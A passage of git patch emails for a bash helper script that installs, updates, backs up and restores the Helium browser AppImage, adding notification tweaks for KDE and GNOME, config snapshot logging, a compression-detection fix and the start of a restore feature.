--icon="$ICON" "$NOTIFY_NAME" "Update failed! See log for details" exit elif ! [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then - echo "$DATE | Failed to update - Local $APP_NAME AppImage not found" >> $LOG + echo "$LOG_DATE | Failed to update - Local $APP_NAME AppImage not found" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Update failed! See log for details" exit @@ -125,47 +126,47 @@ backup_helium() { fi if [ "$BACKUP_COMPRESSION" == "pbzip2" ] ; then - tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 - pbzip2 $APP_NAME.backup_$DATE.tar + tar -cf $APP_NAME.auto_backup_$DATE.tar * > /dev/null 2>&1 + pbzip2 $APP_NAME.auto_backup_$DATE.tar mkdir -p $BACKUP_PATH - mv $APP_NAME.backup_$DATE.tar.bz2 $BACKUP_PATH + mv $APP_NAME.auto_backup_$DATE.tar.bz2 $BACKUP_PATH cd $TMP && rm -rf backup elif [ "$BACKUP_COMPRESSION" == "gzip" ] ; then - tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 - gzip $APP_NAME.backup_$DATE.tar + tar -cf $APP_NAME.auto_backup_$DATE.tar * > /dev/null 2>&1 + gzip $APP_NAME.auto_backup_$DATE.tar mkdir -p $BACKUP_PATH - mv $APP_NAME.backup_$DATE.tar.gz $BACKUP_PATH + mv $APP_NAME.auto_backup_$DATE.tar.gz $BACKUP_PATH cd $TMP && rm -rf backup elif [ "$BACKUP_COMPRESSION" == "bzip2" ] ; then - tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 - bzip2 $APP_NAME.backup_$DATE.tar + tar -cf $APP_NAME.auto_backup_$DATE.tar * > /dev/null 2>&1 + bzip2 $APP_NAME.auto_backup_$DATE.tar mkdir -p $BACKUP_PATH - mv $APP_NAME.backup_$DATE.tar.bz2 $BACKUP_PATH + mv $APP_NAME.auto_backup_$DATE.tar.bz2 $BACKUP_PATH cd $TMP && rm -rf backup elif [ "$BACKUP_COMPRESSION" == "zip" ] ; then - tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 - zip -r $APP_NAME.backup_$DATE.tar.zip $APP_NAME.backup_$DATE.tar > /dev/null 2>&1 + tar -cf $APP_NAME.auto_backup_$DATE.tar * > /dev/null 2>&1 + zip -r $APP_NAME.auto_backup_$DATE.tar.zip $APP_NAME.auto_backup_$DATE.tar > /dev/null 2>&1 mkdir -p $BACKUP_PATH - mv $APP_NAME.backup_$DATE.tar.zip $BACKUP_PATH + mv $APP_NAME.auto_backup_$DATE.tar.zip $BACKUP_PATH cd $TMP && rm -rf backup else - echo "$DATE | Backup - Backup (uncompressed) written to $BACKUP_PATH" >> $LOG + echo "$LOG_DATE | Backup - Backup (uncompressed) written to $BACKUP_PATH" >> $LOG mkdir -p $BACKUP_PATH - mv $TMP/backup $BACKUP_PATH/$APP_NAME.backup_$DATE + mv $TMP/backup $BACKUP_PATH/$APP_NAME.auto_backup_$DATE cd $TMP && rm -rf backup fi - echo "$DATE | Backup - Backup (compressed $BACKUP_COMPRESSION archive) written to $BACKUP_PATH" >> $LOG + echo "$LOG_DATE | Backup - Backup (compressed $BACKUP_COMPRESSION archive) written to $BACKUP_PATH" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Backup created" cd $CWD fi else - echo "$DATE | Failed to backup - Nothing worth backing up found" >> $LOG + echo "$LOG_DATE | Failed to backup - Nothing worth backing up found" >> $LOG fi } @@ -173,7 +174,7 @@ backup_helium() { update_script() { ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then - echo "$DATE | Failed to update script - local file not found" >> $LOG + echo "$LOG_DATE | Failed to update script - local file not found" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Script update failed! See log for details" exit @@ -183,12 +184,12 @@ update_script() { ### CHECK FOR EMPTY VERSION TAGS if [ -z "$SCRIPT_VERSION" ] ; then - echo "$DATE | Failed to update script - Empty version tag --> local" >> $LOG + echo "$LOG_DATE | Failed to update script - Empty version tag --> local" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Script update failed! See log for details" exit elif [ -z "$REMOTE_SCRIPT_VERSION" ] ; then - echo "$DATE | Failed to update script - Empty version tag --> $APP_SOURCE" >> $LOG + echo "$LOG_DATE | Failed to update script - Empty version tag --> $APP_SOURCE" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Script update failed! See log for details" exit @@ -208,13 +209,13 @@ update_script() { wget -P $TMP $REMOTE_REPO_URL/$PARENT_SCRIPT_FILE_NAME -q chmod +x $TMP/$SCRIPT_FILE_NAME $TMP/$PARENT_SCRIPT_FILE_NAME mv $TMP/$SCRIPT_FILE_NAME $TMP/$PARENT_SCRIPT_FILE_NAME $SCRIPT_PATH - echo "$DATE | Script updated to version $REMOTE_SCRIPT_VERSION" >> $LOG + echo "$LOG_DATE | Script updated to version $REMOTE_SCRIPT_VERSION" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Script updated to version $REMOTE_SCRIPT_VERSION" else - echo "$DATE | Failed to update - Malformed version tags" >> $LOG - echo "$DATE | Remote Version: $REMOTE_SCRIPT_VERSION" >> $LOG - echo "$DATE | Local Version: $SCRIPT_VERSION" >> $LOG + echo "$LOG_DATE | Failed to update - Malformed version tags" >> $LOG + echo "$LOG_DATE | Remote Version: $REMOTE_SCRIPT_VERSION" >> $LOG + echo "$LOG_DATE | Local Version: $SCRIPT_VERSION" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Script update failed! See log for details" fi } @@ -228,12 +229,12 @@ update_helium() { ### CHECK FOR EMPTY VERSION TAGS if [[ -z "$APP_SOURCE_VERSION" ]] ; then - echo "$DATE | Failed to update - Empty version tag --> $APP_SOURCE" >> $LOG + echo "$LOG_DATE | Failed to update - Empty version tag --> $APP_SOURCE" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Browser update failed! See log for details" exit elif [[ -z "$LOCAL_VERSION" ]] ; then - echo "$DATE | Failed to update - Empty version tag --> LOCAL" >> $LOG + echo "$LOG_DATE | Failed to update - Empty version tag --> LOCAL" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Browser update failed! See log for details" exit @@ -253,11 +254,11 @@ update_helium() { backup_helium mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop - echo "$DATE | $APP_NAME updated to version ${APP_SOURCE_VERSION}" >> $LOG + echo "$LOG_DATE | $APP_NAME updated to version ${APP_SOURCE_VERSION}" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Browser updated to version $APP_SOURCE_VERSION" else - echo "$DATE | Failed to update - Version tags malformed" >> $LOG + echo "$LOG_DATE | Failed to update - Version tags malformed" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Browser update failed! See log for details" exit From 3620277b98eee761f8535168a4714f5bbdccfe2e Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 10 Jan 2026 19:03:18 +0100 Subject: [PATCH 096/106] Output adjustment --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index ec36448..bd10e91 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -564,7 +564,7 @@ update_script() { wget -P $TMP $REMOTE_REPO_URL/$AUTO_SCRIPT_FILE_NAME -q chmod +x $TMP/$SCRIPT_FILE_NAME $TMP/$AUTO_SCRIPT_FILE_NAME mv $TMP/$SCRIPT_FILE_NAME $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH - echo -e "\n ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}" + echo -e "\n ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}\n" break elif [[ "$CONFIRM_SCRIPT_INSTALL" == "n" || "$CONFIRM_SCRIPT_INSTALL" == "N" ]] ; then From 42689a9605f81196b8b8e9bef336d4b59c429790 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 11 Jan 2026 17:49:20 +0100 Subject: [PATCH 097/106] DE check for propper notification on kde and gnome --- helium_launcher_update.sh | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index a1fb03b..0f2d1c2 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -9,7 +9,6 @@ APP_NAME_LONG="Helium Web Browser" ARCH="x86_64" FILE_EXTENSION="AppImage" APP_SOURCE="GitHub" -NOTIFY_NAME="Helium Helper" SCRIPT_NAME="$APP_NAME Launcher Updater" PARENT_SCRIPT_FILE_NAME="helium_helper.sh" SCRIPT_FILE_NAME="helium_launcher_update.sh" @@ -17,6 +16,9 @@ SCRIPT_VERSION="0.5.9.1" LOG_DATE=$(date) DATE=$(date +"%d%m%y") +## NOTIFICATIONS +NOTIFY_NAME="Helium Helper" + ## LOCATIONS TMP=/tmp/$APP_NAME INSTALL_PATH=$HOME/.apps/$APP_NAME @@ -87,6 +89,15 @@ dependency_check () { } +### DE CHECK +desktop_environment() { + ALTERNATIVE_NOTIFY="--app-name="$NOTIFY_NAME"" + + if [[ "$(echo $XDG_CURRENT_DESKTOP | grep -iF "kde")" || "$(echo $XDG_CURRENT_DESKTOP | grep -iF "gnome")" ]] ; then + NOTIFY_NAME=$ALTERNATIVE_NOTIFY + fi +} + ### BACKUP backup_helium() { if [[ -d "$INSTALL_PATH" || -d "$SCRIPT_PATH" || -d $APP_CONFIG_PATH ]] ; then @@ -154,13 +165,13 @@ backup_helium() { cd $TMP && rm -rf backup else - echo "$LOG_DATE | Backup - Backup (uncompressed) written to $BACKUP_PATH" >> $LOG + echo "$LOG_DATE | Backup (uncompressed) written to $BACKUP_PATH" >> $LOG mkdir -p $BACKUP_PATH mv $TMP/backup $BACKUP_PATH/$APP_NAME.auto_backup_$DATE cd $TMP && rm -rf backup fi - echo "$LOG_DATE | Backup - Backup (compressed $BACKUP_COMPRESSION archive) written to $BACKUP_PATH" >> $LOG + echo "$LOG_DATE | Backup (compressed $BACKUP_COMPRESSION archive) written to $BACKUP_PATH" >> $LOG notify-send --icon="$ICON" "$NOTIFY_NAME" "Backup created" cd $CWD fi @@ -353,6 +364,9 @@ done ## DEPENDENCY CHECK dependency_check +## DE CHECK +desktop_environment + ## UPDATE update_helium From 489fb720c22a9d432ef9b3b777f81c4120b64f8d Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 11 Jan 2026 17:49:55 +0100 Subject: [PATCH 098/106] Update --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 66e4c18..19548bb 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ With "little" tinkering it should be possible to apply this script to install, u ``` --- ### First Install -To initally install Helium browser via this script, download helium_helper.sh and make it executable: +To initally install Helium browser via this script, download `helium_helper.sh` and make it executable: ```sh wget https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/helium_helper.sh && chmod +x helium_helper.sh ``` @@ -30,7 +30,7 @@ Run script with install parameter _-i_ ### Updating **From launcher** (if added during install or by running `./helium_helper.sh -l`) -Checking for the latest version and updating can simply be done for the browser as well as the script by right clicking the app icon and choosing either update option, which will be run by `helium_launcher_update.sh`. This will backup all files that are being updated and write a log. +Checking for the latest version and updating can simply be done for the browser as well as the script by right clicking the app icon and choosing either update option, which will be run by `helium_launcher_update.sh`. This will backup all files and configuration and write a log. **Terminal** From f9a6599993890b58381d65b79c66da7491ed0f0e Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 11 Jan 2026 21:57:56 +0100 Subject: [PATCH 099/106] Config logger added for reverting from backup --- helium_helper.sh | 54 +++++++++++++++++++++++++++++++++++++++++------- 1 file changed, 47 insertions(+), 7 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index bd10e91..9301576 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -332,28 +332,68 @@ call_backup() { elif [[ "$OVERWRITE_BACKUP" == "y" || "$OVERWRITE_BACKUP" == "Y" ]] ; then echo -e "\n ${YEL}Overwriting backup...${CRS}" rm $BACKUP_PATH/$APP_NAME.$BACKUP_METHOD.backup_* - ${BACKUP_METHOD}_backup break else echo -e "\n ${YEL}Invalid response!${CRS}\n" fi - done - - else - ${BACKUP_METHOD}_backup + done fi + backup_logger + ${BACKUP_METHOD}_backup +} + +backup_logger() { + mkdir -p $TMP/backup + echo "### $APP_NAME_LONG CONFIG SNAPSHOT $(date) ###" >> $TMP/backup/conf_log + echo >> $TMP/backup/conf_log + shell_check + + if [ "$ACTIVE_SHELL" == "zsh" ] ; then + if [ "$(cat $HOME/.zshrc | grep "$ALIAS")" ] ; then + echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log + echo " - Alias : TRUE" >> $TMP/backup/conf_log + fi + + elif [ "$ACTIVE_SHELL" == "bash" ] ; then + if [ "$(cat $HOME/.bashrc | grep "$ALIAS")" ] ; then + echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log + echo " - Alias : TRUE" >> $TMP/backup/conf_log + fi + + elif [ "$ACTIVE_SHELL" == "fish" ] ; then + if [ "$(cat $HOME/.config/fish/config.fish | grep "source $HOME/.config/fish/$ALIAS.fish")" ] ; then + echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log + echo " - Alias : TRUE" >> $TMP/backup/conf_log + fi + + else + echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log + echo " - Alias : FALSE" >> $TMP/backup/conf_log + fi + + LOGGABLE=("$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" "$LAUNCHER_PATH/$APP_NAME.desktop" "$APP_CONFIG_PATH") + for LOG_ITEM in ${LOGGABLE[@]} ; do + + if [ -d "$LOG_ITEM" ] ; then + echo " - Directory : $LOG_ITEM" >> $TMP/backup/conf_log + + elif [ -f "$LOG_ITEM" ] ; then + echo " - File : $LOG_ITEM" >> $TMP/backup/conf_log + + else + echo " - N/A : $LOG_ITEM" >> $TMP/backup/conf_log + fi + done } backup_file_collector() { for BACKUP_ITEM in ${BACKUPABLE[@]} ; do if [ -d "$BACKUP_ITEM" ] ; then - mkdir -p $TMP/backup cp -r $BACKUP_ITEM $TMP/backup elif [ -f "$BACKUP_ITEM" ] ; then - mkdir -p $TMP/backup cp $BACKUP_ITEM $TMP/backup fi done From ae18eac9b97b284a50c45dc1f4cfd94692935093 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 11 Jan 2026 22:26:47 +0100 Subject: [PATCH 100/106] Backup logger refinements --- helium_helper.sh | 50 ++++++++++++++++++++++++++---------------------- 1 file changed, 27 insertions(+), 23 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 9301576..9632734 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -339,42 +339,42 @@ call_backup() { fi done fi - backup_logger + ${BACKUP_METHOD}_backup } backup_logger() { - mkdir -p $TMP/backup echo "### $APP_NAME_LONG CONFIG SNAPSHOT $(date) ###" >> $TMP/backup/conf_log echo >> $TMP/backup/conf_log + echo -e "\n - ${CRS}Creating ${CYN}config log${CRS}...${CRS}" shell_check - if [ "$ACTIVE_SHELL" == "zsh" ] ; then - if [ "$(cat $HOME/.zshrc | grep "$ALIAS")" ] ; then - echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log - echo " - Alias : TRUE" >> $TMP/backup/conf_log - fi - - elif [ "$ACTIVE_SHELL" == "bash" ] ; then - if [ "$(cat $HOME/.bashrc | grep "$ALIAS")" ] ; then - echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log - echo " - Alias : TRUE" >> $TMP/backup/conf_log - fi - - elif [ "$ACTIVE_SHELL" == "fish" ] ; then - if [ "$(cat $HOME/.config/fish/config.fish | grep "source $HOME/.config/fish/$ALIAS.fish")" ] ; then - echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log - echo " - Alias : TRUE" >> $TMP/backup/conf_log - fi - - else + if [ "$ACTIVE_SHELL" == "zsh" ] ; then + if [ "$(cat $HOME/.zshrc | grep "$ALIAS")" ] ; then echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log - echo " - Alias : FALSE" >> $TMP/backup/conf_log + echo " - Alias : TRUE" >> $TMP/backup/conf_log fi + + elif [ "$ACTIVE_SHELL" == "bash" ] ; then + if [ "$(cat $HOME/.bashrc | grep "$ALIAS")" ] ; then + echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log + echo " - Alias : TRUE" >> $TMP/backup/conf_log + fi + + elif [ "$ACTIVE_SHELL" == "fish" ] ; then + if [ "$(cat $HOME/.config/fish/config.fish | grep "source $HOME/.config/fish/$ALIAS.fish")" ] ; then + echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log + echo " - Alias : TRUE" >> $TMP/backup/conf_log + fi + + else + echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log + echo " - Alias : FALSE" >> $TMP/backup/conf_log + fi LOGGABLE=("$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" "$LAUNCHER_PATH/$APP_NAME.desktop" "$APP_CONFIG_PATH") - for LOG_ITEM in ${LOGGABLE[@]} ; do + for LOG_ITEM in ${LOGGABLE[@]} ; do if [ -d "$LOG_ITEM" ] ; then echo " - Directory : $LOG_ITEM" >> $TMP/backup/conf_log @@ -391,12 +391,16 @@ backup_file_collector() { for BACKUP_ITEM in ${BACKUPABLE[@]} ; do if [ -d "$BACKUP_ITEM" ] ; then + mkdir -p $TMP/backup cp -r $BACKUP_ITEM $TMP/backup elif [ -f "$BACKUP_ITEM" ] ; then + mkdir -p $TMP/backup cp $BACKUP_ITEM $TMP/backup fi done + + backup_logger } script_backup() { From 8bace469da7837e044b4b4fc7caf598e93a624b5 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 11 Jan 2026 22:27:22 +0100 Subject: [PATCH 101/106] update --- devdoc.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/devdoc.md b/devdoc.md index 17b5150..7a6784c 100644 --- a/devdoc.md +++ b/devdoc.md @@ -43,12 +43,15 @@ - Removal process adjusted - $1 verifier added - Readme updated +--- +- Notification adjusted for KDE & GNOME ## Add/To Do - Roll back from backup - Update Readme - Make functional launcher optional +- Variable transfer script ## Repo - Merge workflow From 1f1573f58c66381bf99bb28f748ea67af731dc3b Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Mon, 12 Jan 2026 19:17:23 +0100 Subject: [PATCH 102/106] Backup function fixed if pbzip2 was not installed --- helium_helper.sh | 45 ++++++++++++++++++++++++++++++++++----------- 1 file changed, 34 insertions(+), 11 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 9632734..3705ac9 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -63,8 +63,7 @@ dependency_check () { done if [ -f "$TMP/missingDeps" ] ; then - MISSING=$(cat $TMP/missingDeps) - echo -e " ${RED}Following dependencies are missing :\n\n${CRS}$MISSING\n\n ${CYN}Please install and re-run script !${CRS}\n" + echo -e " ${RED}Following dependencies are missing :\n\n${CRS}$(cat $TMP/missingDeps)\n\n ${CYN}Please install and re-run script !${CRS}\n" exit_clean fi } @@ -265,11 +264,11 @@ update_application() { ### CHECK FOR EMPTY VERSION TAGS if [ -z "$APP_SOURCE_VERSION" ] ; then - echo -e "\n ${RED}Empty version tag from ${CYN}$APP_SOURCE${RED}! Can't compare, exiting...${CRS}" + echo -e "\n ${RED}Empty version tag from ${CYN}$APP_SOURCE${RED}! Can't compare, exiting...${CRS}\n" exit elif [ -z "$LOCAL_VERSION" ] ; then - echo -e "\n ${RED}Empty version tag from ${CYN}local AppImage${RED}! Can't compare, exiting...${CRS}" + echo -e "\n ${RED}Empty version tag from ${CYN}local AppImage${RED}! Can't compare, exiting...${CRS}\n" exit fi @@ -319,7 +318,7 @@ update_application() { ### BACKUP call_backup() { - if [ -f $BACKUP_PATH\/$APP_NAME\.$BACKUP_METHOD\.backup_* ] ; then + if [ $(ls $BACKUP_PATH\/$APP_NAME\.$BACKUP_METHOD\.backup_* | wc -l) -gt "1" ] ; then echo -e "\n ${CYN}A $BACKUP_METHOD backup already exists!${CRS}\n" while true ; do @@ -331,16 +330,18 @@ call_backup() { elif [[ "$OVERWRITE_BACKUP" == "y" || "$OVERWRITE_BACKUP" == "Y" ]] ; then echo -e "\n ${YEL}Overwriting backup...${CRS}" - rm $BACKUP_PATH/$APP_NAME.$BACKUP_METHOD.backup_* + rm -rf $BACKUP_PATH/$APP_NAME.$BACKUP_METHOD.backup_* + ${BACKUP_METHOD}_backup break else echo -e "\n ${YEL}Invalid response!${CRS}\n" fi done + + else + ${BACKUP_METHOD}_backup fi - - ${BACKUP_METHOD}_backup } backup_logger() { @@ -371,7 +372,7 @@ backup_logger() { echo " - Shell : $ACTIVE_SHELL" >> $TMP/backup/conf_log echo " - Alias : FALSE" >> $TMP/backup/conf_log fi - + LOGGABLE=("$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" "$LAUNCHER_PATH/$APP_NAME.desktop" "$APP_CONFIG_PATH") for LOG_ITEM in ${LOGGABLE[@]} ; do @@ -470,9 +471,9 @@ pack_backup() { COMPRESSION_METHOD=("pbzip2" "gzip" "bzip2" "zip") until [ "$BACKUP_COMPRESSION" ] ; do - for COMPRESSION_TYPE in ${COMPRESSION_METHOD[@]} ; do + for COMPRESSION_TYPE in "${COMPRESSION_METHOD[@]}" ; do - if [ "$(command -v $COMPRESSION_TYPE) > /dev/null 2>&1" ] ; then + if command -v $COMPRESSION_TYPE > /dev/null 2>&1 ; then BACKUP_COMPRESSION=$COMPRESSION_TYPE break fi @@ -522,6 +523,27 @@ pack_backup() { fi } +### RESTORE BACKUP +restore_backup() { + if [ $(ls $BACKUP_PATH\/$APP_NAME\.*.backup_* | wc -l) -gt "1" ] ; then + NUMBER=1 + mkdir -p $TMP/backup_restore + CWD=$(pwd) + cd $BACKUP_PATH + RESTORE_OPTIONS=$(ls -lt $APP_NAME\.*.backup_* | awk '{print $9}') + + for RESTORE_TARGET in ${RESTORE_OPTIONS[@]} ; do + echo "$NUMBER - $RESTORE_TARGET" >> $TMP/backup_restore/options + NUMBER=$(($NUMBER+1)) + done + + cd $CWD + echo -e "$(cat $TMP/backup_restore/options)" + rm -rf $TMP + fi + +} + ### REMOVE remove_application() { if [ -d "$INSTALL_PATH" ] ; then @@ -846,6 +868,7 @@ while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do h) help + restore_backup exit ;; *) From 0807f98eea95378e58043cccc3c7e753746f0171 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Mon, 12 Jan 2026 19:18:29 +0100 Subject: [PATCH 103/106] Backup function fixed if pbzip2 was not installed --- helium_helper.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 3705ac9..ae28ea0 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -647,11 +647,11 @@ update_script() { ### CHECK FOR EMPTY VERSION TAGS if [ -z "$SCRIPT_VERSION" ] ; then - echo -e "\n ${RED}Empty version tag from ${CYN}local script${RED}! Can't compare, exiting...${CRS}" + echo -e "\n ${RED}Empty version tag from ${CYN}local script${RED}! Can't compare, exiting...${CRS}\n" exit elif [ -z "$REMOTE_SCRIPT_VERSION" ] ; then - echo -e "\n ${RED}Empty version tag from ${CYN}remote script${RED}! Can't compare, exiting...${CRS}" + echo -e "\n ${RED}Empty version tag from ${CYN}remote script${RED}! Can't compare, exiting...${CRS}\n" exit fi From 4aa3755b19bcc7fe6188e977fb8967b6c863bcc0 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Mon, 12 Jan 2026 19:25:20 +0100 Subject: [PATCH 104/106] revert help abuse --- helium_helper.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index ae28ea0..1f96880 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -868,7 +868,6 @@ while getopts ":i,:l,:a,:u,:b,:r,:c,:s,:S,:h" OPTION ; do h) help - restore_backup exit ;; *) From e11d8340cd34945bc34941063fcb7d1989f811d9 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 14 Jan 2026 01:05:38 +0100 Subject: [PATCH 105/106] Init restore function added; path correction function added --- helium_helper.sh | 152 ++++++++++++++++++++++++++++++++++++----------- 1 file changed, 118 insertions(+), 34 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 1f96880..02556f7 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -44,9 +44,9 @@ REMOTE_REPO_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/$REMOTE_REPO_ REMOTE_SCRIPT_URL=$REMOTE_REPO_URL/$SCRIPT_FILE_NAME APP_SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/latest -########## FUNCTIONS ########### +########################### FUNCTIONS ############################ -### DEPENDENCIES +#################### DEPENDENCY CHECK #################### cmd_query() { if ! command -v $PACKAGE > /dev/null 2>&1 ; then echo " - $PACKAGE" >> $TMP/missingDeps @@ -68,7 +68,7 @@ dependency_check () { fi } -### SHELL CHECK +#################### SHELL CHECK #################### shell_query() { if [ "$(echo $SHELL | grep "$SHELL_OPTION")" ] ; then ACTIVE_SHELL=$SHELL_OPTION @@ -84,7 +84,7 @@ shell_check() { done } -### ARCH CHECK +#################### ARCH CHECK #################### arch_check() { if [ "$ARCH_OVERRIDE" ] ; then ARCH=$ARCH_OVERRIDE @@ -105,7 +105,7 @@ arch_check() { fi } -### CHECK LOCAL INSTALL +#################### LOCAL INSTALL CHECK #################### local_check() { if ! [ -d "$INSTALL_PATH" ] ; then echo -e "\n ${YEL}$APP_NAME_LONG directory not found!${CRS}\n" @@ -119,7 +119,33 @@ local_check() { fi } -### INSTALL +#################### VARIABLE CHECK #################### +path_correction() { + if [ "$TARGET" == "INSTALL" ] ; then + TARGET_PATH=$INSTALL_PATH + + elif [ "$TARGET" == "BACKUP" ] ; then + TARGET_PATH=$BACKUP_PATH + fi + + if ! [ ${TARGET_PATH:0:1} == "/" ] ; then + TARGET_PATH=$(pwd)/$TARGET_PATH + fi + + REVERSE_PATH=$(echo $TARGET_PATH | rev) + if [ "${REVERSE_PATH:0:1}" == "/" ] ; then + TARGET_PATH=$(echo $TARGET_PATH | sed "s|.$||") + fi + + if [ "$TARGET" == "INSTALL" ] ; then + INSTALL_PATH=$TARGET_PATH + + elif [ "$TARGET" == "BACKUP" ] ; then + BACKUP_PATH=$TARGET_PATH + fi +} + +#################### INSTALL #################### install_application() { if [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then echo -e " ${YEL}$APP_NAME_LONG AppImage found! Trying to update...${CRS}" @@ -152,7 +178,7 @@ install_application() { done } -### LAUNCHER +#################### LAUNCHER #################### add_launcher() { if [ -f "$LAUNCHER_PATH/$APP_NAME.desktop" ] ; then echo -e "\n ${YEL}${APP_NAME}.desktop already exists!${CRS}" @@ -205,7 +231,7 @@ add_launcher() { fi } -### ALIAS +#################### ALIAS #################### add_alias() { if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then mkdir -p $SCRIPT_PATH @@ -257,7 +283,7 @@ add_alias() { fi } -### UPDATE +#################### UPDATE #################### update_application() { LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}') APP_SOURCE_VERSION=$(curl -s $APP_SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') @@ -316,9 +342,10 @@ update_application() { fi } -### BACKUP +#################### BACKUP #################### call_backup() { - if [ $(ls $BACKUP_PATH\/$APP_NAME\.$BACKUP_METHOD\.backup_* | wc -l) -gt "1" ] ; then + BACKUP_COUNT=$(ls $BACKUP_PATH/$APP_NAME.$BACKUP_METHOD.backup_* 2> /dev/null | wc -l) + if [[ "$BACKUP_COUNT" -gt "0" ]] ; then echo -e "\n ${CYN}A $BACKUP_METHOD backup already exists!${CRS}\n" while true ; do @@ -523,28 +550,54 @@ pack_backup() { fi } -### RESTORE BACKUP -restore_backup() { - if [ $(ls $BACKUP_PATH\/$APP_NAME\.*.backup_* | wc -l) -gt "1" ] ; then - NUMBER=1 +#################### RESTORE BACKUP #################### +select_backup() { + BACKUP_COUNT=$(ls $BACKUP_PATH/$APP_NAME.$BACKUP_TYPE.backup_* 2> /dev/null | wc -l) + if [ "$BACKUP_COUNT" -gt "1" ] ; then + i=1 mkdir -p $TMP/backup_restore CWD=$(pwd) cd $BACKUP_PATH - RESTORE_OPTIONS=$(ls -lt $APP_NAME\.*.backup_* | awk '{print $9}') + RESTORE_OPTIONS=$(ls -lt $APP_NAME\.$BACKUP_TYPE\.backup_* | awk '{print $9}') for RESTORE_TARGET in ${RESTORE_OPTIONS[@]} ; do - echo "$NUMBER - 